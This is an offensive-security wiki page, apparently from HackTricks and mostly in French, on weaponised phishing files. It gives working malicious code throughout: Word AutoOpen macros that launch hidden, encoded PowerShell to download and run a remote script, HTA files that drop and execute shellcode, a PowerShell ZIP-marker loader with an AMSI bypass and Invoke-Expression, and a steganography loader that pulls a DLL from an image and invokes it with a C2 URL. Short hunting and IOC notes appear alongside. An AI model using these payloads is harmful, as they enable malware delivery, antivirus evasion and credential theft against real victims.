Phishing Files & Documents

Tip

Apprenez et pratiquez le hacking AWS :HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP : HackTricks Training GCP Red Team Expert (GRTE) Apprenez et pratiquez le hacking Azure : HackTricks Training Azure Red Team Expert (AzRTE)

Soutenir HackTricks

Office Documents

Microsoft Word effectue une validation des donnĂ©es du fichier avant d’ouvrir un fichier. La validation des donnĂ©es est effectuĂ©e sous la forme d’une identification de la structure des donnĂ©es, conformĂ©ment Ă  la norme OfficeOpenXML. Si une erreur survient lors de l’identification de la structure des donnĂ©es, le fichier analysĂ© ne sera pas ouvert.

Habituellement, les fichiers Word contenant des macros utilisent l’extension .docm. Cependant, il est possible de renommer le fichier en changeant son extension et de conserver malgrĂ© tout ses capacitĂ©s d’exĂ©cution de macros.
Par exemple, un fichier RTF ne prend pas en charge les macros, par conception, mais un fichier DOCM renommé en RTF sera pris en charge par Microsoft Word et pourra exécuter des macros.
Les mĂȘmes mĂ©canismes internes et procĂ©dĂ©s s’appliquent Ă  l’ensemble des logiciels de la Microsoft Office Suite (Excel, PowerPoint etc.).

Vous pouvez utiliser la commande suivante pour vérifier quelles extensions seront exécutées par certains programmes Office :

assoc | findstr /i "word excel powerp"

Les fichiers DOCX rĂ©fĂ©rencant un modĂšle distant (File –Options –Add-ins –Manage: Templates –Go) qui inclut des macros peuvent Ă©galement “exĂ©cuter” des macros.

External Image Load

Aller à : Insert –> Quick Parts –> Field
Categories: Links and References, Filed names: includePicture, and Filename or URL: http:///whatever

Macros Backdoor

Il est possible d’utiliser des macros pour exĂ©cuter du code arbitraire depuis le document.

Fonctions d’autochargement

Plus elles sont courantes, plus il est probable que l’AV les dĂ©tecte.

  • AutoOpen()
  • Document_Open()

Exemples de code de macros

Sub AutoOpen()
CreateObject("WScript.Shell").Exec ("powershell.exe -nop -Windowstyle hidden -ep bypass -enc JABhACAAPQAgACcAUwB5AHMAdABlAG0ALgBNAGEAbgBhAGcAZQBtAGUAbgB0AC4AQQB1AHQAbwBtAGEAdABpAG8AbgAuAEEAJwA7ACQAYgAgAD0AIAAnAG0AcwAnADsAJAB1ACAAPQAgACcAVQB0AGkAbABzACcACgAkAGEAcwBzAGUAbQBiAGwAeQAgAD0AIABbAFIAZQBmAF0ALgBBAHMAcwBlAG0AYgBsAHkALgBHAGUAdABUAHkAcABlACgAKAAnAHsAMAB9AHsAMQB9AGkAewAyAH0AJwAgAC0AZgAgACQAYQAsACQAYgAsACQAdQApACkAOwAKACQAZgBpAGUAbABkACAAPQAgACQAYQBzAHMAZQBtAGIAbAB5AC4ARwBlAHQARgBpAGUAbABkACgAKAAnAGEAewAwAH0AaQBJAG4AaQB0AEYAYQBpAGwAZQBkACcAIAAtAGYAIAAkAGIAKQAsACcATgBvAG4AUAB1AGIAbABpAGMALABTAHQAYQB0AGkAYwAnACkAOwAKACQAZgBpAGUAbABkAC4AUwBlAHQAVgBhAGwAdQBlACgAJABuAHUAbABsACwAJAB0AHIAdQBlACkAOwAKAEkARQBYACgATgBlAHcALQBPAGIAagBlAGMAdAAgAE4AZQB0AC4AVwBlAGIAQwBsAGkAZQBuAHQAKQAuAGQAbwB3AG4AbABvAGEAZABTAHQAcgBpAG4AZwAoACcAaAB0AHQAcAA6AC8ALwAxADkAMgAuADEANgA4AC4AMQAwAC4AMQAxAC8AaQBwAHMALgBwAHMAMQAnACkACgA=")
End Sub
Sub AutoOpen()

Dim Shell As Object
Set Shell = CreateObject("wscript.shell")
Shell.Run "calc"

End Sub
Dim author As String
author = oWB.BuiltinDocumentProperties("Author")
With objWshell1.Exec("powershell.exe -nop -Windowsstyle hidden -Command-")
.StdIn.WriteLine author
.StdIn.WriteBlackLines 1
Dim proc As Object
Set proc = GetObject("winmgmts:\\.\root\cimv2:Win32_Process")
proc.Create "powershell <beacon line generated>

Manually remove metadata

Accédez à File > Info > Inspect Document > Inspect Document, ce qui ouvrira le Document Inspector. Cliquez sur Inspect puis sur Remove All à cÎté de Document Properties and Personal Information.

Doc Extension

Une fois terminé, sélectionnez le menu déroulant Save as type, changez le format de .docx en Word 97-2003 .doc.
Faites cela parce que vous can’t save macro’s inside a .docx et qu’il existe une stigmatisation autour de l’extension macro-enabled .docm (par ex. l’icĂŽne miniature affiche un Ă©norme ! et certaines passerelles web/email les bloquent entiĂšrement). Par consĂ©quent, cette ancienne extension .doc est le meilleur compromis.

Malicious Macros Generators

HTA Files

Un HTA est un programme Windows qui combine HTML et des langages de script (such as VBScript and JScript). Il gĂ©nĂšre l’interface utilisateur et s’exĂ©cute en tant qu’application « fully trusted », sans les contraintes du modĂšle de sĂ©curitĂ© d’un navigateur.

Un HTA est exĂ©cutĂ© Ă  l’aide de mshta.exe, qui est typiquement installĂ© avec Internet Explorer, rendant mshta dĂ©pendant d’IE. Donc s’il a Ă©tĂ© dĂ©sinstallĂ©, les HTA seront incapables de s’exĂ©cuter.

<--! Basic HTA Execution -->
<html>
<head>
<title>Hello World</title>
</head>
<body>
<h2>Hello World</h2>
<p>This is an HTA...</p>
</body>

<script language="VBScript">
Function Pwn()
Set shell = CreateObject("wscript.Shell")
shell.run "calc"
End Function

Pwn
</script>
</html>
<--! Cobal Strike generated HTA without shellcode -->
<script language="VBScript">
Function var_func()
var_shellcode = "<shellcode>"

Dim var_obj
Set var_obj = CreateObject("Scripting.FileSystemObject")
Dim var_stream
Dim var_tempdir
Dim var_tempexe
Dim var_basedir
Set var_tempdir = var_obj.GetSpecialFolder(2)
var_basedir = var_tempdir & "\" & var_obj.GetTempName()
var_obj.CreateFolder(var_basedir)
var_tempexe = var_basedir & "\" & "evil.exe"
Set var_stream = var_obj.CreateTextFile(var_tempexe, true , false)
For i = 1 to Len(var_shellcode) Step 2
var_stream.Write Chr(CLng("&H" & Mid(var_shellcode,i,2)))
Next
var_stream.Close
Dim var_shell
Set var_shell = CreateObject("Wscript.Shell")
var_shell.run var_tempexe, 0, true
var_obj.DeleteFile(var_tempexe)
var_obj.DeleteFolder(var_basedir)
End Function

var_func
self.close
</script>

Forcer l’authentification NTLM

Il existe plusieurs façons de forcer l’authentification NTLM “à distance”, par exemple, vous pouvez ajouter des images invisibles dans des e-mails ou du HTML que l’utilisateur consultera (mĂȘme HTTP MitM ?). Ou envoyer Ă  la victime l’adresse de fichiers qui dĂ©clencheront une authentification rien qu’en ouvrant le dossier.

Consultez ces idĂ©es et d’autres pages sur les pages suivantes :

Force NTLM Privileged Authentication

Places to steal NTLM creds

NTLM Relay

N’oubliez pas que vous ne pouvez pas seulement voler le hash ou l’authentification mais aussi perform NTLM relay attacks :

LNK Loaders + ZIP-Embedded Payloads (fileless chain)

Des campagnes trĂšs efficaces livrent un ZIP contenant deux documents leurres lĂ©gitimes (PDF/DOCX) et un .lnk malveillant. L’astuce est que le vĂ©ritable loader PowerShell est stockĂ© dans les octets bruts du ZIP aprĂšs un marqueur unique, et le .lnk l’extrait et l’exĂ©cute entiĂšrement en mĂ©moire.

Flux typique implémenté par le one-liner PowerShell du .lnk :

  1. Localiser le ZIP original dans des emplacements courants : Desktop, Downloads, Documents, %TEMP%, %ProgramData%, et le parent du répertoire de travail courant.
  2. Lire les octets du ZIP et trouver un marqueur codé en dur (par ex., xFIQCV). Tout ce qui suit le marqueur est la charge utile PowerShell embarquée.
  3. Copier le ZIP vers %ProgramData%, l’extraire lĂ , et ouvrir le .docx leurre pour paraĂźtre lĂ©gitime.
  4. Contourner AMSI pour le processus courant : [System.Management.Automation.AmsiUtils]::amsiInitFailed = $true
  5. DĂ©obfusquer l’étape suivante (par ex., supprimer tous les caractĂšres #) et l’exĂ©cuter en mĂ©moire.

Exemple de squelette PowerShell pour extraire et exĂ©cuter l’étape embarquĂ©e:

$marker   = [Text.Encoding]::ASCII.GetBytes('xFIQCV')
$paths    = @(
"$env:USERPROFILE\Desktop", "$env:USERPROFILE\Downloads", "$env:USERPROFILE\Documents",
"$env:TEMP", "$env:ProgramData", (Get-Location).Path, (Get-Item '..').FullName
)
$zip = Get-ChildItem -Path $paths -Filter *.zip -ErrorAction SilentlyContinue -Recurse | Sort-Object LastWriteTime -Descending | Select-Object -First 1
if(-not $zip){ return }
$bytes = [IO.File]::ReadAllBytes($zip.FullName)
$idx   = [System.MemoryExtensions]::IndexOf($bytes, $marker)
if($idx -lt 0){ return }
$stage = $bytes[($idx + $marker.Length) .. ($bytes.Length-1)]
$code  = [Text.Encoding]::UTF8.GetString($stage) -replace '#',''
[Ref].Assembly.GetType('System.Management.Automation.AmsiUtils').GetField('amsiInitFailed','NonPublic,Static').SetValue($null,$true)
Invoke-Expression $code

Remarques

  • La livraison abuse souvent des sous-domaines PaaS rĂ©putĂ©s (p. ex., *.herokuapp.com) et peut restreindre les payloads (servir des ZIPs bĂ©nins en fonction de l’IP/UA).
  • L’étape suivante dĂ©crypte frĂ©quemment du base64/XOR shellcode et l’exĂ©cute via Reflection.Emit + VirtualAlloc pour minimiser les artefacts sur disque.

Persistence used in the same chain

  • COM TypeLib hijacking du Microsoft Web Browser control afin que IE/Explorer ou toute application l’intĂ©grant relance automatiquement le payload. Voir les dĂ©tails et les commandes prĂȘtes Ă  l’emploi ici :

COM Hijacking

Hunting/IOCs

  • Fichiers ZIP contenant la chaĂźne marqueur ASCII (p. ex., xFIQCV) ajoutĂ©e aux donnĂ©es de l’archive.
  • Des .lnk qui Ă©numĂšrent les dossiers parent/utilisateur pour localiser le ZIP et ouvrent un document leurre.
  • AltĂ©ration d’AMSI via [System.Management.Automation.AmsiUtils]::amsiInitFailed.
  • Threads mĂ©tier de longue durĂ©e se terminant par des liens hĂ©bergĂ©s sous des domaines PaaS de confiance.

Steganography-delimited payloads in images (PowerShell stager)

Les chaĂźnes de loaders rĂ©centes livrent un JavaScript/VBS obfusquĂ© qui dĂ©code et exĂ©cute un PowerShell stager en Base64. Ce stager tĂ©lĂ©charge une image (souvent GIF) qui contient une .NET DLL encodĂ©e en Base64 cachĂ©e en texte clair entre des marqueurs de dĂ©but/fin uniques. Le script recherche ces dĂ©limiteurs (exemples observĂ©s sur le terrain : «<<sudo_png>> 
 <<sudo_odt>>>»), extrait le texte intermĂ©diaire, le dĂ©code Base64 en octets, charge l’assembly en mĂ©moire et invoque une mĂ©thode d’entrĂ©e connue avec l’URL de C2.

Flux de travail

  • Étape 1 : Dropper JS/VBS archivĂ© → dĂ©code le Base64 embarquĂ© → lance le PowerShell stager avec -nop -w hidden -ep bypass.
  • Étape 2 : PowerShell stager → tĂ©lĂ©charge l’image, extrait le Base64 dĂ©limitĂ© par marqueurs, charge la .NET DLL en mĂ©moire et appelle sa mĂ©thode (p. ex., VAI) en passant l’URL de C2 et les options.
  • Étape 3 : Le loader rĂ©cupĂšre le payload final et l’injecte typiquement via process hollowing dans un binaire de confiance (gĂ©nĂ©ralement MSBuild.exe). Voir plus sur process hollowing et trusted utility proxy execution ici :

Common API used in Malware

Exemple PowerShell pour extraire une DLL depuis une image et invoquer une méthode .NET en mémoire :

Extracteur et chargeur de payload stego PowerShell ```powershell # Download the carrier image and extract a Base64 DLL between custom markers, then load and invoke it in-memory param( [string]$Url = 'https://example.com/payload.gif', [string]$StartM = '<>', [string]$EndM = '<>', [string]$EntryType = 'Loader', [string]$EntryMeth = 'VAI', [string]$C2 = 'https://c2.example/payload' ) $img = (New-Object Net.WebClient).DownloadString($Url) $start = $img.IndexOf($StartM) $end = $img.IndexOf($EndM) if($start -lt 0 -or $end -lt 0 -or $end -le $start){ throw 'markers not found' } $b64 = $img.Substring($start + $StartM.Length, $end - ($start + $StartM.Length)) $bytes = [Convert]::FromBase64String($b64) $asm = [Reflection.Assembly]::Load($bytes) $type = $asm.GetType($EntryType) $method = $type.GetMethod($EntryMeth, [Reflection.BindingFlags] 'Public,Static,NonPublic') $null = $method.Invoke($null, @($C2, $env:PROCESSOR_ARCHITECTURE)) ```

Notes

  • Il s’agit de ATT&CK T1027.003 (steganography/marker-hiding). Les marqueurs varient selon les campagnes.
  • AMSI/ETW bypass and string deobfuscation sont couramment appliquĂ©s avant le chargement de l’assembly.
  • Hunting: scanner les images tĂ©lĂ©chargĂ©es Ă  la recherche de dĂ©limiteurs connus ; identifier PowerShell accĂ©dant aux images et dĂ©codant immĂ©diatement des blobs Base64.

See also stego tools and carving techniques:

Quick Triage Checklist First 10 Minutes

JS/VBS droppers → Base64 PowerShell staging

A recurring initial stage is a small, heavily‑obfuscated .js or .vbs delivered inside an archive. Its sole purpose is to decode an embedded Base64 string and launch PowerShell with -nop -w hidden -ep bypass to bootstrap the next stage over HTTPS.

Skeleton logic (abstract):

  • Read own file contents
  • Locate a Base64 blob between junk strings
  • Decode to ASCII PowerShell
  • Execute with wscript.exe/cscript.exe invoking powershell.exe

Hunting cues

  • Archived JS/VBS attachments spawning powershell.exe with -enc/FromBase64String in the command line.
  • wscript.exe launching powershell.exe -nop -w hidden from user temp paths.

Windows files to steal NTLM hashes

Consultez la page sur places to steal NTLM creds :

Places to steal NTLM creds

References

Tip

Apprenez et pratiquez le hacking AWS :HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP : HackTricks Training GCP Red Team Expert (GRTE) Apprenez et pratiquez le hacking Azure : HackTricks Training Azure Red Team Expert (AzRTE)

Soutenir HackTricks